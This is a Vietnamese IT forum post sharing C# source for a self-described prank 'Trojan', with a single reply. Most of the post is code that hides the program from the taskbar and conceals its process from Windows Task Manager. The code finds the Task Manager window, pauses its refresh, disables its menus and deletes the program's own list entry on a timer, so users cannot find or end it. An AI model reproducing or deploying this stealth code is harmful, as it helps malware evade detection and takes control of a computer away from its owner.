Mang đến cho bạn hành trang là Kiến thức và Kinh nghiệm

Lựa chọn chủ đề bạn quan tâm

Cùng nhau thảo luận về các vấn đề

Hãy theo dõi chúng tôi nếu bạn thấy bổ ích

  1. Hỏi đáp IT
  2. Hỏi nhanh

[CHIA SẺ] Viết 1 con virus đơn giản bằng C#

2562 Lượt xem 1 Bình luận 0 Lượt báo xấu
Đây là con Trojan đơn giản mình viết bằng C#, bạn nào biết rùi thì thui đừng cười nhá, viết con Trojan này để hù bạn bè chơi thui chứ không có hại cho máy tính ^^
Dành cho mấy bạn mới làm quen với C#
- Khi chạy thì không hiện trên Taskbar.
- Không hiển thị trong Taskmanager (ẩn trong Application và Proccess)
Đây là giao diện của nó:


Đầu tiên khi chạy thì sẽ ẩn và không hiển thị trên thanh Taskbar:
Code: this.ShowInTaskbar = false;

Bạn không cho nó hiển thị trong Taskmannger để người ta không thể tắt nó:
- Sử dụng Class User32
Code:
class User32
{
public const Int32 WM_COMMAND = 273;
public const Int32 MF_ENABLED = 0;
public const Int32 MF_GRAYED = 1;
public const Int32 LVM_FIRST = 4096;
public const Int32 LVM_DELETEITEM = (LVM_FIRST + 8);
public const Int32 LVM_SORTITEMS = (LVM_FIRST + 48);
[DllImport("user32", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern Int32 FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32", EntryPoint = "FindWindowExA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern Int32 FindWindowEx(Int32 hWnd1, Int32 hWnd2, string lpsz1, string lpsz2);
[DllImport("user32", EntryPoint = "EnableWindow", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern bool EnableWindow(Int32 hwnd, Int32 fEnable);
[DllImport("user32", EntryPoint = "GetMenu", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern Int32 GetMenu(Int32 hwnd);
[DllImport("user32", EntryPoint = "GetSubMenu", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern Int32 GetSubMenu(Int32 hMenu, Int32 nPos);
[DllImport("user32", EntryPoint = "GetMenuState", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern Int32 GetMenuState(Int32 hMenu, Int32 wID, Int32 wFlags);
[DllImport("user32", EntryPoint = "GetMenuItemID", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern Int32 GetMenuItemID(Int32 hMenu, Int32 nPos);
[DllImport("user32", EntryPoint = "EnableMenuItem", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern Int32 EnableMenuItem(Int32 hMenu, Int32 wIDEnableItem, Int32 wEnable);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)]
public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, String lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)]
public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32", EntryPoint = "GetDesktopWindow", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern Int32 GetDesktopWindow();
[DllImport("user32", EntryPoint = "LockWindowUpdate", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern Int32 LockWindowUpdate(Int32 hwndLock);

public static int FindTaskManager()
{
int taskManager = FindWindow("#32770", "Windows Task Manager");
return taskManager;
}
}

- Ẩn trong Application
Code:
ProcessStartInfo Pro = new ProcessStartInfo();
Pro.WindowStyle= ProcessWindowStyle.Hidden;

- Ẩn trong Proceess:

public int HideProcess()
{

int proccessIndex = 0;
Int32 lhWndParent = User32.FindWindow(null, "Windows Task Manager");
Int32 lhWndDialog = 0;
Int32 lhWndEndTaskButton = 0;
Int32 lhWndEndProcessButton = 0;
Int32 lhWndProcessList = 0;
Int32 lhWndProcessHeader = 0;
Int32 lhWndTaskList = 0;
Int32 lhWndTaskHeader = 0;
Int32 ProcessItemCount = 0;
Int32 hMenu = User32.GetMenu(lhWndParent);
Int32 hViewMenu = User32.GetSubMenu(hMenu, 2);
Int32 hUpdateSpeed = User32.GetSubMenu(hViewMenu, 1);
Int32 hRefreshNow = User32.GetMenuItemID(hViewMenu, 0);
Int32 hHighRate = User32.GetMenuItemID(hUpdateSpeed, 0);
Int32 hNormalRate = User32.GetMenuItemID(hUpdateSpeed, 1);
Int32 hLowRate = User32.GetMenuItemID(hUpdateSpeed, 2);
Int32 hPausedRate = User32.GetMenuItemID(hUpdateSpeed, 3);
for (int i = 1; i < 7; i++)
{
lhWndDialog = User32.FindWindowEx(lhWndParent, lhWndDialog, null, null);
if (lhWndTaskList == 0)
lhWndTaskList = User32.FindWindowEx(lhWndDialog, 0, "SysListView32", "Tasks");
if (lhWndTaskHeader == 0)
lhWndTaskHeader = User32.FindWindowEx(lhWndTaskList, 0, "SysHeader32", null);
if (lhWndEndTaskButton == 0)
lhWndEndTaskButton = User32.FindWindowEx(lhWndDialog, lhWndTaskList, "Button", "&End Task");
if (lhWndProcessList == 0)
lhWndProcessList = User32.FindWindowEx(lhWndDialog, 0, "SysListView32", "Processes");
if (lhWndProcessHeader == 0)
lhWndProcessHeader = User32.FindWindowEx(lhWndProcessList, 0, "SysHeader32", null);
if (lhWndEndProcessButton == 0)
lhWndEndProcessButton = User32.FindWindowEx(lhWndDialog, lhWndProcessList, "Button", "&End Process");
}

User32.SendMessage((IntPtr)lhWndParent, User32.WM_COMMAND, (IntPtr)hPausedRate, IntPtr.Zero);
User32.EnableMenuItem(hMenu, hRefreshNow, User32.MF_GRAYED);
User32.EnableMenuItem(hMenu, hLowRate, User32.MF_GRAYED);
User32.EnableMenuItem(hMenu, hNormalRate, User32.MF_GRAYED);
User32.EnableMenuItem(hMenu, hHighRate, User32.MF_GRAYED);
User32.EnableMenuItem(hHighRate, hPausedRate, User32.MF_GRAYED);
User32.EnableWindow(lhWndProcessHeader, 0);
User32.EnableWindow(lhWndTaskHeader, 0);

Process[] Processes;
string item;
ListBox list = new ListBox();
list.Sorted = true;
Processes = Process.GetProcesses();
foreach (Process p in Processes)
{
if (p.ProcessName.ToString() == "Idle")
list.Items.Add("System Idle Process");
else
list.Items.Add(p.ProcessName.ToString());

}
ProcessItemCount = Processes.Length;
ProcessItemCount--;
string HideMe = Process.GetCurrentProcess().ProcessName;
for (int x = 0; x != ProcessItemCount; x++)
{
item = list.Items[x].ToString();
if (item == HideMe)
proccessIndex = x;
}
User32.SendMessage((IntPtr)lhWndProcessList, User32.LVM_DELETEITEM, (IntPtr)proccessIndex, IntPtr.Zero);

return lhWndParent;

}

private void timer1_Tick(object sender, EventArgs e)
{
int kt = User32.FindTaskManager();
if (kt!= 0)
{
HideProcess();
}

Câu trả lời

- Bạn đã sẵn sàng thảo luận về chủ đề này. Hãy bấm "Viết bình luận", bạn có thể lựa chọn sử dụng tài khoản Facebook hoặc Google++

- Vì sự phát triển của cộng đồng CNTT/CNPM tại Việt Nam!

Unknown user
No responses yet

phài mất bao nhiêu thời gian mới viết ra đoạn code này vậy bạn?
0 Lượt thích

Từ khóa tìm kiếm

Câu trả lời mới nhất

Tin tuyển dụng